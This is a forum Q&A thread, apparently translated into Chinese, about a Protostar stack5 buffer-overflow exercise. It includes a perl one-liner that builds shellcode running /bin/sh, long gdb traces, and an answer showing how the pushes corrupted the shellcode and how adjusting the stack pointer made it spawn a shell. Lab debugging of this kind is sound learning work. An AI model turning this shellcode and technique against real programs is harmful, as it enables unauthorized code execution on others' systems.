Shellcode 未正确执行

Shellcode not executed properly

我正在尝试解决 Protostar stack5。 这里有一个solution。 它把 shellcode 放在 return 地址之后,我试着把它放在数组中。 我试过 shell 代码,它有效。

似乎一切正常,执行跳转到 shell 代码,但在 shell 代码结束后出现分段错误,并且没有生成 shell。我不知道为什么,在 gdb 中并非所有 shell 代码指令都能正确显示。 例如 0xbffff690 应该是 mov %esp,%ecx 而不是 cwtl。也许这是问题所在?为什么会这样?

编辑:由于在 gdb 外部启动时数组地址会略有不同,我们需要一个 nop sled。所以我的方法可能行不通,因为数组大小对于这个来说太小了。但是我仍然想知道为什么 shell 代码的结尾在 gdb.

中被错误地解释了
perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2


user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    [=10=]xfffffff0,%esp
0x080483ca <main+6>:    sub    [=10=]x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave  
0x080483da <main+22>:   ret    
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11  stack5/stack5.c: No such file or directory.
    in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.

Breakpoint 2, 0xbffff660 in ?? ()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor    %eax,%eax
(gdb) ni
0xbffff662 in ?? ()
1: x/i $pc
0xbffff662: xor    %ebx,%ebx
(gdb) 
0xbffff664 in ?? ()
1: x/i $pc
0xbffff664: mov    [=10=]x6,%al
(gdb) 
0xbffff666 in ?? ()
1: x/i $pc
0xbffff666: int    [=10=]x80
(gdb) 
0xbffff668 in ?? ()
1: x/i $pc
0xbffff668: push   %ebx
(gdb) 
0xbffff669 in ?? ()
1: x/i $pc
0xbffff669: push   [=10=]x7974742f
(gdb) 
0xbffff66e in ?? ()
1: x/i $pc
0xbffff66e: push   [=10=]x7665642f
(gdb) 
0xbffff673 in ?? ()
1: x/i $pc
0xbffff673: mov    %esp,%ebx
(gdb) 
0xbffff675 in ?? ()
1: x/i $pc
0xbffff675: xor    %ecx,%ecx
(gdb) 
0xbffff677 in ?? ()
1: x/i $pc
0xbffff677: mov    [=10=]x2712,%cx
(gdb) 
0xbffff67b in ?? ()
1: x/i $pc
0xbffff67b: mov    [=10=]x5,%al
(gdb) 
0xbffff67d in ?? ()
1: x/i $pc
0xbffff67d: int    [=10=]x80
(gdb) 
0xbffff67f in ?? ()
1: x/i $pc
0xbffff67f: xor    %eax,%eax
(gdb) 
0xbffff681 in ?? ()
1: x/i $pc
0xbffff681: push   %eax
(gdb) 
0xbffff682 in ?? ()
1: x/i $pc
0xbffff682: push   [=10=]x68732f2f
(gdb) 
0xbffff687 in ?? ()
1: x/i $pc
0xbffff687: push   [=10=]x6e69622f
(gdb) 
0xbffff68c in ?? ()
1: x/i $pc
0xbffff68c: mov    %esp,%ebx
(gdb) 
0xbffff68e in ?? ()
1: x/i $pc
0xbffff68e: push   %eax
(gdb) 
0xbffff68f in ?? ()
1: x/i $pc
0xbffff68f: push   %ebx
(gdb) 
0xbffff690 in ?? ()
1: x/i $pc
0xbffff690: cwtl   
(gdb) 
0xbffff691 in ?? ()
1: x/i $pc
0xbffff691: idiv   %bh
(gdb) 
0xbffff693 in ?? ()
1: x/i $pc
0xbffff693: mov    [=10=]x0,%edi
(gdb) 
0xbffff698 in ?? ()
1: x/i $pc
0xbffff698: das    
(gdb) 
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)
(gdb) 

Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)

有趣的问题。答案是:你的stack overflow中有stack overflow。

在我的系统上,main 的反汇编地址略有不同:

(gdb) disas
Dump of assembler code for function main:
   0x0804841d <+0>:     push   %ebp
   0x0804841e <+1>:     mov    %esp,%ebp
   0x08048420 <+3>:     and    [=10=]xfffffff0,%esp
   0x08048423 <+6>:     sub    [=10=]x50,%esp
   0x08048426 <+9>:     lea    0x10(%esp),%eax
   0x0804842a <+13>:    mov    %eax,(%esp)
   0x0804842d <+16>:    call   0x80482f0 <gets@plt>
   0x08048432 <+21>:    leave
   0x08048433 <+22>:    ret
End of assembler dump.

堆栈地址也不一样:停在0x0804841d时的return地址是0xffffcedc,也就是说当我到达gets时的值$eax0xffffce90,我需要相应地调整利用代码。

然后我在*0x08048433中设置了一个断点,并在到达它后执行以下命令:

(gdb) display/23i 0xffffce90
(gdb) stepi

这是我随后看到的:

0xffffce90 in ?? ()
1: x/23i 0xffffce90
=> 0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    [=12=]x6,%al
   0xffffce96:  int    [=12=]x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   [=12=]x7974742f
   0xffffce9e:  push   [=12=]x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    [=12=]x2712,%cx
   0xffffceab:  mov    [=12=]x5,%al
   0xffffcead:  int    [=12=]x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   [=12=]x68732f2f
   0xffffceb7:  push   [=12=]x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    [=12=]xb,%al
   0xffffcec5:  int    [=12=]x80
(gdb)   # I press Enter here to repeat stepi
0xffffce92 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
=> 0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    [=12=]x6,%al
   0xffffce96:  int    [=12=]x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   [=12=]x7974742f
   0xffffce9e:  push   [=12=]x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    [=12=]x2712,%cx
   0xffffceab:  mov    [=12=]x5,%al
   0xffffcead:  int    [=12=]x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   [=12=]x68732f2f
   0xffffceb7:  push   [=12=]x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    [=12=]xb,%al
   0xffffcec5:  int    [=12=]x80
(gdb)
0xffffce94 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
=> 0xffffce94:  mov    [=12=]x6,%al
   0xffffce96:  int    [=12=]x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   [=12=]x7974742f
   0xffffce9e:  push   [=12=]x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    [=12=]x2712,%cx
   0xffffceab:  mov    [=12=]x5,%al
   0xffffcead:  int    [=12=]x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   [=12=]x68732f2f
   0xffffceb7:  push   [=12=]x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    [=12=]xb,%al
   0xffffcec5:  int    [=12=]x80
(gdb)

到目前为止,一切进展顺利。但是看看当我们到达 0xffffcebestepi 时会发生什么:

0xffffcebf in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    [=13=]x6,%al
   0xffffce96:  int    [=13=]x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   [=13=]x7974742f
   0xffffce9e:  push   [=13=]x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    [=13=]x2712,%cx
   0xffffceab:  mov    [=13=]x5,%al
   0xffffcead:  int    [=13=]x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   [=13=]x68732f2f
   0xffffceb7:  push   [=13=]x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
=> 0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    [=13=]x0,%al
   0xffffcec5:  add    %al,(%eax)

刚刚执行的push用其他东西(即$eax的内容)覆盖了曾经在0xffffcec5int80。这是因为我们在堆栈上执行指令,同时 同时 push 将值写入同一个堆栈!

另一个 stepi,我看到了这个:

(gdb) stepi
0xffffcec0 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    [=14=]x6,%al
   0xffffce96:  int    [=14=]x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   [=14=]x7974742f
   0xffffce9e:  push   [=14=]x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    [=14=]x2712,%cx
   0xffffceab:  mov    [=14=]x5,%al
   0xffffcead:  int    [=14=]x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   [=14=]x68732f2f
   0xffffceb7:  push   [=14=]x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
=> 0xffffcec0:  enter  [=14=]xffce,[=14=]xff
   0xffffcec4:  add    %al,(%eax)
   0xffffcec6:  add    %al,(%eax)
   0xffffcec8:  das

而下一个 stepi 导致 SIGSEGV:

(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.

那么解决方案是什么?

当我们在 0xffffce90 处输入代码时,我们的堆栈指向 0xffffcee0,即 shellcode 后仅 80 个字节。我们的 shellcode 长度是 54 字节。因此,在我们开始破坏我们的 shellcode 之前,我们最多可以将 6 个单词压入堆栈。

当前 shellcode 推送 8 个单词,在第 7 次和第 8 次推送时破坏自身。

shellcode 需要弹出一些单词(例如,在 0xffffcead 的第一个系统调用之后添加 pop %eax),或者扩展堆栈,例如add [=37=]x80,%esp 进入时,因此在 shellcode 末尾和堆栈顶部之间有很多 space。

我用过后者,效果不错:

(gdb) c
Continuing.
process 21439 is executing new program: /bin/bash